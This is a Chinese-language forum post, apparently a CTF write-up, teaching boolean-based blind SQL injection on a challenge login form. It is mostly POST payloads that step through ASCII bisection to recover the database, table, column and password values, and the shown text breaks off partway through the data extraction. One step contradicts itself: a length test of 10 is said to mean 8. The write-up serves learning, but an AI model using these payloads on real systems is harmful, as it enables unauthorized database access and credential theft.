前言

最近做了些基于布尔盲注和基于时间盲注的CTF题,掌握了CTF题中SQL盲注的三种解法,收获很大,于是结合题目分享一下。

BASE-Blind-Inject

题目信息

题干分析

第一次走进误区,刚看到这道题的时候

看到了登录框,第一印象应该就是简单的闭合注入,测试后发现是双引号闭合,所以构造payload注入

" or 1=1#


果然注入进去了。虽然没有出现flag,但给予了提示“flag就在数据库里面”,然后又想到题目标题,翻译成“简单盲注”
并且flag在数据库?有页面返回?所以应该想到这是SQL注入的一种注入方式叫做布尔盲注,并且是POST型。

知识了解

布尔盲注

  1. 布尔盲注利用前提
    页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
  2. 布尔盲注利用
  3. 该语句判断数据库个数,当数据库个数大于n页面显示正常
    (select count(schema_name) from information_schema.schemata)> n
    
  4. 该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
    (select length(schema_name) from information_schema.schemata limit 0,1)> n
    
  5. 该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
    (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
    
    相关函数
  6. Length()函数 返回字符串的长度
  7. substr()截取字符串,偏移是从1开始,而不是0开始
  8. ascii()返回字符的ascii码
  9. count(column_name)函数返回指定列的值的数目(NULL 不计入)

开始测试

  1. 测闭合方式
    输入' or 1=1#不回显
    输入" or 1=1#正常
    可判定是双引号闭合。
  2. 测长度
    判断数据库名的长度
    输入" or (length(database())=10)--+正常
    说明长度为8。
  3. 测字符
    用substr()截取字符串的每个字符,ascii()将字符串转换成其ASCII码
    输入" or (ascii(substr(database(),1,1))>97)--+正常

盲注开始

费心劳神-手工盲注

利用二分法进行手工盲注。手工盲注可以使用BurpSuite,构造payload在Repeater点击Go进行发包,这样会比较便捷。
1.猜库
用到获取当前数据库函数database()

  • 猜库长

    " or (length(database())=10)--+正常
    


    所以数据库长度为10

  • 猜库名
    第一个字符

    " or (ascii(substr(database(),1,1))>32)--+正常
    " or (ascii(substr(database(),1,1))>128)--+不回显
    " or (ascii(substr(database(),1,1))>80)--+正常
    " or (ascii(substr(database(),1,1))>104)--+不回显
    " or (ascii(substr(database(),1,1))>92)--+正常
    " or (ascii(substr(database(),1,1))>98)--+正常
    " or (ascii(substr(database(),1,1))>101)--+不回显
    " or (ascii(substr(database(),1,1))>100)--+不回显
    " or (ascii(substr(database(),1,1))>99)--+不回显
    



    说明数据库名的第一个字符ASCII码为99,即“c”。
    第二个字符

    " or (ascii(substr(database(),2,1))>32)--+正常
    " or (ascii(substr(database(),2,1))>128)--+不回显
    " or (ascii(substr(database(),2,1))>80)--+正常
    " or (ascii(substr(database(),2,1))>104)--+不回显
    " or (ascii(substr(database(),2,1))>92)--+正常
    " or (ascii(substr(database(),2,1))>98)--+正常
    " or (ascii(substr(database(),2,1))>101)--+正常
    " or (ascii(substr(database(),2,1))>102)--+正常
    " or (ascii(substr(database(),2,1))>103)--+正常
    

    说明数据库名的第二个字符ASCII码为104,即“h”。
    依次猜解,最终得到数据库名:challenges

2.猜表

  • 猜表长

    " or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常
    

    所以数据表长度为6

  • 猜表名
    第一个字符

    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117)--+不回显
    

    说明数据表名的第一个字符ASCII码为117,即“u”。
    依次猜解,最终得到数据表名:user_2

3.猜字段

  • 猜字段长

    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
    
    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常
    
    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常
    

    所以user_2表的数据字段长度分别为2、8、8

  • 猜字段名
    第一个字段

    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>32)--+正常
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>128)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>80)--+正常
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>104)--+正常
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>116)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>110)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>107)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>106)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>105)--+不回显
    

    所以user_2表的第一个字段的字段名的第一个字符ASCII码为105,即“i”。
    猜第二个字段把limit 0,1改为limit 1,1
    猜第三个字段把limit 0,1改为limit 2,1
    依次猜解,最终得到user_2表的3个字段名分别为:id username password

3.猜数据

  • 猜数据长

    " or (length((select password from challenges.user_2 limit 1,1))=32)--+正常
    

    所以user_2表的password字段的第2条数据的数据长度为32,这个应该就是flag那条数据了

  • 猜数据值

    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>32)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>128)--+不回显
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>80)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>104)--+不回显
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>92)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>98)--+正常
    
点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖